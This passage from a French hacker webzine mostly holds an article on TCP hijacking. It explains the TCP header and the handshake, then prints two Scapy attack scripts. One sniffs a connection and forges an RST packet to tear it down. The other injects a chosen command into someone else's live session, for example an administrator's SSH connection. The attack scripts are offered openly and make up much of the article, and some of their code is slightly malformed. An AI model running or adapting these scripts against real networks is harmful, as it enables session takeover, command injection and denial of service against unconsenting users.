0x05 - Conclusion
Nous avons vu ici comment contourner une
protection "basique" à l'aide de deux méthodes différentes. Evidemment,
le programme analysé est élémentaire; cependant, ces techniques sont
aussi couplées avec d'autres tricks tes que les anti-débuggeurs ou la
compression du code, ce qui rend l'analyse plus difficile.
J'espère malgré tout que cet article vous aura
ouvert de nouvelles possibilités, et qui sait, permis de trouver une
méthode pour résoudre un problème plus délicat.
That's all folks ! :þ
> TCP Hijacking
Auteur: storn
0x01 - Qu'est-ce que TCP
Le protocole TCP (Transmission Control Protocol) est un protocole utilisé pour transmettre des données
entre une machine A et une Machine B.
Il gère de "A à Z" la connexion (Établissement, Transfert, etc) en
utilisant un système de Drapeaux ou Flags. "Couplé" avec le protocole IP
(Internet Protocole) qui assure le bon routage des paquets, il forme le modèle TCP/IP.
Une trame TCP est constituée comme ceci:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Port Source | Port de Destination |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numéro de Séquence |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numéro d'acquiescement |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Offset | |+|+|+|+|+|+| |
| des | Reservé |+| Flags |+| Fenêtre (Window) |
|données| |+|+|+|+|+|+| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Pointeur Urgent |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Données |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Port source (16 bits):
C'est le port qui est utilisé par la machine source.
Port de Destination (16 bits):
C'est le port qui est utilisé par la machine de destination.
Numéro de Séquence (32 bits):
C'est le numéro du paquet
Numéro d'acquiescement (32 bits):
C'est un accusé de réception pour les paquets reçus.
Il définit le prochain "Numéro de Séquence".
Offset des données (4 bits):
Ce champ indique où débute les données.
Réserve:
Ce champ sert pour des besoins futurs, il est à 0.
Flags (1 bit):
URG: Pointeur de données urgente
ACK: Acquittement
SYN: Synchronisation
PSH: Transfert de données
FIN: Fin de transmission
RST: Reset de la connexion
Fenêtre (16 bits):
C'est le nombre d'octets que le récepteur est capable de recevoir à partir
de la position indiquée dans l'accusé de réception
Checksum (16 bits):
Indique la validité du paquet
Pointeur Urgent (16 bits):
Donne la position de données urgentes et son décalage
par rapport au numéro de séquence, ce champ est activé
que lorsque le Flag URG est à 1
Options (8 bits):
Option mono-octet
Octet de type, de longueur et de valeur d'option
Padding (0 à 7 bits):
"Bourre" le champ Options pour obtenir une trame TCP
multiple de 32 bits
Données:
Ce sont les données transmises (login, mot de passe, etc)
Une session TCP comporte 3 étapes au cours de sa durée de vie: la "poignée de main" (handshake), l'échange de données à
proprement parler, puis la fermeture de la connexion.
Three-Way Handshake
C'est un nom bien bizarre je vous l'accorde. Il s'agit tout simplement du terme utilisé pour désigner les trois étapes
d'établissement d'une connexion, que nous allons voir ci-dessous.
Première étape:
A -------- Flag SYN, seq=x --------> B
A envoie à B une demande de synchronisation pour débuter un dialogue
en indiquant un numéro de séquence égal à x.
Deuxième étape:
A <------- Flag SYN/ACK, seq=y, ack=x+1 --------- B
B acquiesce le numéro de séquence de A en lui indiquant son numéro de séquence qui est égale a y,
puis un numéro de "ack" (accusé de réception) égal à x+1
Troisième étape:
A -------- Flag ACK, seq=x+1, ack=y+1 --------> B
A acquiesce le numéro de séquence de B en lui indiquant son
numéro de séquence qui est égale a x+1 (la valeur ack du paquet
précédent)
puis un numéro d'ack égal à y+1 (la valeur seq du paquet
précédent).
Transfert de données
Pour le transfert de données, TCP utilise le flag PSH (push) et le flag ACK.
A -------- Flag PSH/ACK, seq=y+1, ack=x+1, DATA=test\n --------> B
A <------- Flag ACK, seq=x+1, ack=(y+1)+len(DATA) --------- B
A envoie la donnée test\n a B.
B, quand à lui, acquiesce la réception en indiquant comme numéro de séquence l'ack du paquet précédent,
et comme accusé de réception (ack) la valeur du numéro de séquence du paquet précédent plus la taille des données reçues.
Fin de Connexion
Pour mettre fin à une connexion, TCP utilise le flag FIN pour terminer proprement la connexion, mais en réalité,
dans la plupart des cas, on utilise le flag RST (reset), qui lui finit brutalement la connexion.
0x03 - RST Hijacking
Le RST Hijacking consiste à clore nous-mêmes la connexion via un paquet TCP avec le flag RST (reset),
rt pour cela il nous faut avoir le numéro de séquence et l'acknowledge afin que le paquet soit accepté
et que la connexion se termine.
Pour ce faire, nous allons coder un script python en utilisant Scapy.
Exemple: P pour pirate.
A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=salut\n --------> B
A <------- Flag ACK, seq=1200, ack=1006 --------- B
P -------- Flag RST, seq=1006, ack=1200 --------> B
Le script:
# RST Hijacking Script
# Usage: rsthijack.py remote_host remote_port target
#!usr/bin/env/python
"""On importe tout les modules de scapy et sys"""
from scapy.all import *
import sys
"""Filtre a appliquer au Sniffer"""
filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
print "Waiting..."
print " "
"""Fonction Utilisée par le sniffer à chaque paquet reçu"""
def rst_hijack(p):
"""Si la Source est celle du remote_host (client ou serveur) et la destination celle de la cible"""
if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
print "[+] Connection Found!"
print " "
print "[+] It's time to blow this shit!"
"""Alors on forge un Paquet pour notre attaque a partir du paquet reçu"""
"""Ethernet"""
ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
"""IP"""
ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
proto=p[IP].proto, id=29321)
"""TCP, flag: RST"""
tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
reserved=p[TCP].reserved, flags="R", window=p[TCP].window, options=p[TCP].options)
"""On forme le paquet final"""
reset = ether/ip/tcp
"""On l'envoi"""
sendp(reset)
"""On sort du script"""
sys.exit()
"""Sniffer qui applique à chaque paquet reçu la fonction rst_hijack, paquet trié selon le filtre"""
sniff(count=0,prn = lambda p : rst_hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
TCP Session Hijacking
Le TCP Session Hijacking lui, a pour but de "voler" la connexion!
Je m'explique, imaginez qu'un administrateur réseau se connecte sur son serveur SSH. Il crée une connexion d'un client
A à un Serveur B qui dialoguen entre eux en utilisant un numéro de séquence et un acknowledge que seul A et B
connaissent.
Nous, en récupérant les valeurs, nous pouvons répondre avant A, ce qui aura pour effet de nous donner la connexion
et de désynchroniser A de B.
NB: Désynchroniser A provoquera ce que l'on appelle un ACK storm, une tempête d'ACK entre
A et B.
Exemple: P pour pirate.
A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=Hey\n --------> B
A <------- Flag ACK, seq=1200, ack=1004 --------- B
P ------ Flag PSH/ACK, seq=1004, ack=1200, DATA=Mouhaha\n ------> B
P <------- Flag ACK, seq=1200, ack=1012 --------- B
--------------------------- ACK Storm -----------------------------
A ---------------------- ACK -----------------------> B
A <--------------------- ACK ------------------------ B
A ---------------------- ACK -----------------------> B
A <--------------------- ACK ------------------------ B
Reprenons le précédent script en modifiant quelques lignes:
#TCP Session Hijacking Script
#Usage: hijack.py serveur_ip serveur_port client_ip
#!usr/bin/env/python
from scapy.all import *
import sys
"""Filtre a appliqué au Sniffer"""
filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
print "Waiting For Hosts " + sys.argv[1] + " > " + sys.argv[3] + " And Port " + sys.argv[2]
print " "
def hijack(p):
cmd=sys.argv[4] """On Stock la commande a executer"""
if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
print "[+] Found!"
print "Seq: " + str(p[TCP].seq) + " | Ack: " + str(p[TCP].ack)
"""Seq = Seq_du_paquet_precedent + Len_des_Datas"""
print "Hijack Seq: " + str(p[TCP].ack) + " | Hijack Ack: " + str(p[TCP].seq)
print " "
print "[+] Hijack Session!"
"""Ethernet"""
ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
"""IP"""
ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
proto=p[IP].proto, id=29321)
"""TCP, flag: PUSH/ACK"""
tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
reserved=p[TCP].reserved, flags="PA", window=p[TCP].window, options=p[TCP].options)
"""On ajoute la commande au paquet"""
hijack = ether/ip/tcp/(cmd+"\n")
sendp(hijack)
"""On sort du script, sinon il repondrat dans l'ACK Storm"""
sys.exit()
"""Sniffer qui applique à chaque paquet reçu la fonction hijack, paquet trié selon le filtre"""
sniff(count=0,prn = lambda p : hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
0x03 - Conclusion
Il n'y a aucun doute que ce genre de technique peut être terriblement dangereuse sur un réseau local.
De plus la présence des deux machines sur le réseau n'est pas requise, une seule machine suffit.
Une attaque aveugle à distance reste possible bien que très difficile au niveau de la prédiction des ISN,
des études ont déjà vu le jour et montre que la génération des ISN n'est pas si implacable.
Remerciements
Je tient à remercier aaSSfxxx et B@rBcH pour leurs relectures
> Comment contribuer
Nous acceptons tout type d'article concernant la programmation, des explications sur diverses attaques, la
philosophie et la mentalité hacker ou encore la culture "underground", cependant nous vous recommandons de suivre
ces recommandations:
Essayer d'écrire dans un français le plus correct possible, afin de rester compréhensible pour éviter une phase de
décodage au lecteur (ou aux responsables du webzine)
Faire un article un minimum structuré et d'une longueur acceptable (en évitant les articles de 5 lignes et les romans de
10 pages).
Utiliser un format non obscur (éviter les formats propriétaires tels que les .doc), et la rédaction appréciera grandement
les articles rédigés en html5.
Essayer de limiter les images dans les articles, qui alourdissent le zine, ou du moins essayer de les compresser au maximum.
Ecrire un article original et intéressant: pas la peine de faire
un n-ième paper sur comment réaliser des injections sql,
il y a plein de tutos sur internet sur ce sujet. Cependant, un
article décrivant une méthode inconnue ou peu utilisée sera sûrement
utile.
L'humour est bienvenu dans les articles, à condition de ne pas
avoir un humour vulgaire ou insultant envers certaines catégories de
personnes.
Vous pouvez envoyer vos articles directement à l'adresse redaction@n-pn.info, ou contacter un administrateur sur
N-PN pour soumettre votre article.
Nous espérons que vous serez nombreux à contribuer au zine par vos articles ou simplement nous apporter votre soutien moral